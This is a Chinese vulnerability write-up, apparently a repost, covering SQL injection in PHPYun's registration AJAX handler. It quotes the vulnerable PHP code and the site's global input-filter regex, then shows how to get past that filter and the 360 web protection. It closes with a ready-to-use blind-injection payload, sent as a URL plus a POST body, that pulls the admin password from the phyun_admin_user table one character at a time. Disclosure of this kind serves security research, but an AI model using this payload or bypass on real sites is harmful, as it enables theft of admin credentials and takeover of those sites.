360php防护,phpyun注射绕过360防护

漏洞作者: Noxxx

注册时检测会员是否使用问题

model\register.class.php

23 行

[php]

function ajax_reg_action(){

$post = array_keys($_POST);

$key_name = $post[0];

if($key_name=="username"){

$username=@iconv("utf-8","gbk",$_POST['username']);

if($this->config['sy_uc_type']=="uc_center"){

$this->obj->uc_open();

$user = uc_get_user($username);

}else{

$user = $this->obj->DB_select_once("member","`username`='".$username."'");

}

if($this->config['sy_regname']!=""){

$regname=@explode(",",$this->config['sy_regname']);

if(in_array($username,$regname)){

echo 2;die;

}

}

}else{

#$key_name可控 带入查询 .

$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");

}

if(is_array($user)){echo 1;}else{echo 0;}

}

[/php]

没有回显只能盲注了.

里面有个全局过滤和360的 360的白名单就行了 全局过滤还是比较坑的

db.safety.php

[php]

$postfilter = "<.>|<.>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|

[/php]

只要检测文本不连续出现关键词就通过了

底下还有一个过滤值的,不过也没关键词.

exp:

http://0day5.com/phpyun/?m=register&c=ajax_reg&admin_dir=admin

(POST)

uid`%26%26(SELECT(MID(password,1,1)%3D'1')FROM/**=**/phpyun_admin_user)%23 (会员表里有数据就行 )

成功返回1

失败返回0

2cf56ed3582cc7d19a8ecd8865ba7edf.png

漏洞证明:

22dbb78cee631cda5180e37dc5673506.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值